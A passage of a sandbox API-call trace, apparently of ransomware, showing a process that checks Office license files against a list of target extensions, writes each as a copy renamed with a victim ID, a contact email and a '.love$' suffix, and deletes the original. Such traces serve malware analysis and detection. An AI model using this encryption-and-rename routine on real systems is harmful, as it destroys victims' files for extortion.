[0267.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1 [0270.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.137] lstrlenW (lpString=".doc") returned 4 [0270.137] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".docx") returned 5 [0270.137] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.137] lstrlenW (lpString=".pdf") returned 4 [0270.137] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".xls") returned 4 [0270.137] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".xlsx") returned 5 [0270.137] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.137] lstrlenW (lpString=".ppt") returned 4 [0270.137] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.137] lstrlenW (lpString=".zip") returned 4 [0270.137] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".rar") returned 4 [0270.137] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".bz2") returned 4 [0270.137] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString=".7z") returned 3 [0270.137] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.137] lstrlenW (lpString=".dbf") returned 4 [0270.137] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.137] lstrlenW (lpString=".1cd") returned 4 [0270.137] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.138] lstrlenW (lpString=".jpg") returned 4 [0270.138] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.138] lstrlenW (lpString=".doc") returned 4 [0270.138] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".docx") returned 5 [0270.138] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.138] lstrlenW (lpString=".pdf") returned 4 [0270.138] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".xls") returned 4 [0270.138] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".xlsx") returned 5 [0270.138] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.138] lstrlenW (lpString=".ppt") returned 4 [0270.138] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.138] lstrlenW (lpString=".zip") returned 4 [0270.138] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".rar") returned 4 [0270.138] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".bz2") returned 4 [0270.138] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.138] lstrlenW (lpString=".7z") returned 3 [0270.138] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.139] lstrlenW (lpString=".dbf") returned 4 [0270.139] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.139] lstrlenW (lpString=".1cd") returned 4 [0270.139] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0270.139] lstrlenW (lpString=".jpg") returned 4 [0270.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.139] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.139] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0270.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0270.142] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19927) returned 1 [0270.142] CloseHandle (hObject=0x4e4) returned 1 [0270.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0270.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0270.144] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.144] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0270.146] GetLastError () returned 0x0 [0270.146] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0270.151] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4de0, lpOverlapped=0x0) returned 1 [0270.153] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0270.153] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10e, lpOverlapped=0x0) returned 1 [0270.154] SetEndOfFile (hFile=0x4b0) returned 1 [0270.154] CloseHandle (hObject=0x4b0) returned 1 [0270.154] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.154] SetEndOfFile (hFile=0x4e4) returned 1 [0270.160] CloseHandle (hObject=0x4e4) returned 1 [0270.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1 [0270.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.163] lstrlenW (lpString=".doc") returned 4 [0270.163] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.163] lstrlenW (lpString=".docx") returned 5 [0270.163] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.163] lstrlenW (lpString=".pdf") returned 4 [0270.163] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.163] lstrlenW (lpString=".xls") returned 4 [0270.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.163] lstrlenW (lpString=".xlsx") returned 5 [0270.163] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.163] lstrlenW (lpString=".ppt") returned 4 [0270.164] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.164] lstrlenW (lpString=".zip") returned 4 [0270.164] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString=".rar") returned 4 [0270.164] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString=".bz2") returned 4 [0270.164] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString=".7z") returned 3 [0270.164] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.164] lstrlenW (lpString=".dbf") returned 4 [0270.164] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.164] lstrlenW (lpString=".1cd") returned 4 [0270.164] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.164] lstrlenW (lpString=".jpg") returned 4 [0270.164] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.165] lstrlenW (lpString=".doc") returned 4 [0270.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".docx") returned 5 [0270.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.165] lstrlenW (lpString=".pdf") returned 4 [0270.165] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".xls") returned 4 [0270.165] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".xlsx") returned 5 [0270.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.165] lstrlenW (lpString=".ppt") returned 4 [0270.165] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.165] lstrlenW (lpString=".zip") returned 4 [0270.165] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".rar") returned 4 [0270.165] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".bz2") returned 4 [0270.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.165] lstrlenW (lpString=".7z") returned 3 [0270.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.166] lstrlenW (lpString=".dbf") returned 4 [0270.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.166] lstrlenW (lpString=".1cd") returned 4 [0270.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0270.166] lstrlenW (lpString=".jpg") returned 4 [0270.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.166] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.166] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23 [0270.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0270.168] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10627) returned 1 [0270.168] CloseHandle (hObject=0x4e4) returned 1 [0270.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0270.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0270.171] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.172] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0270.174] GetLastError () returned 0x0 [0270.174] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2983, lpOverlapped=0x0) returned 1 [0270.178] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2990, lpOverlapped=0x0) returned 1 [0270.547] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0270.548] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x102, lpOverlapped=0x0) returned 1 [0270.548] SetEndOfFile (hFile=0x4b0) returned 1 [0270.548] CloseHandle (hObject=0x4b0) returned 1 [0270.548] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.548] SetEndOfFile (hFile=0x4e4) returned 1 [0270.554] CloseHandle (hObject=0x4e4) returned 1 [0270.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1 [0271.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.186] lstrlenW (lpString=".doc") returned 4 [0271.187] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".docx") returned 5 [0271.187] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.187] lstrlenW (lpString=".pdf") returned 4 [0271.187] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".xls") returned 4 [0271.187] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".xlsx") returned 5 [0271.187] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.187] lstrlenW (lpString=".ppt") returned 4 [0271.187] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.187] lstrlenW (lpString=".zip") returned 4 [0271.187] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".rar") returned 4 [0271.187] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".bz2") returned 4 [0271.187] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.187] lstrlenW (lpString=".7z") returned 3 [0271.188] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.188] lstrlenW (lpString=".dbf") returned 4 [0271.188] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.188] lstrlenW (lpString=".1cd") returned 4 [0271.188] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.188] lstrlenW (lpString=".jpg") returned 4 [0271.188] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.188] lstrlenW (lpString=".doc") returned 4 [0271.188] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString=".docx") returned 5 [0271.188] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.188] lstrlenW (lpString=".pdf") returned 4 [0271.188] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString=".xls") returned 4 [0271.188] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.188] lstrlenW (lpString=".xlsx") returned 5 [0271.188] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.188] lstrlenW (lpString=".ppt") returned 4 [0271.189] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.189] lstrlenW (lpString=".zip") returned 4 [0271.189] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString=".rar") returned 4 [0271.189] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString=".bz2") returned 4 [0271.189] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString=".7z") returned 3 [0271.189] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.189] lstrlenW (lpString=".dbf") returned 4 [0271.189] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.189] lstrlenW (lpString=".1cd") returned 4 [0271.189] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0271.189] lstrlenW (lpString=".jpg") returned 4 [0271.189] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.189] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.190] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31 [0271.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.330] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=32362) returned 1 [0271.330] CloseHandle (hObject=0x574) returned 1 [0271.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0271.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.332] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.333] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.335] GetLastError () returned 0x0 [0271.335] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x7e6a, lpOverlapped=0x0) returned 1 [0271.342] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x7e70, lpOverlapped=0x0) returned 1 [0271.344] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0271.345] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x112, lpOverlapped=0x0) returned 1 [0271.345] SetEndOfFile (hFile=0x57c) returned 1 [0271.345] CloseHandle (hObject=0x57c) returned 1 [0271.345] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, 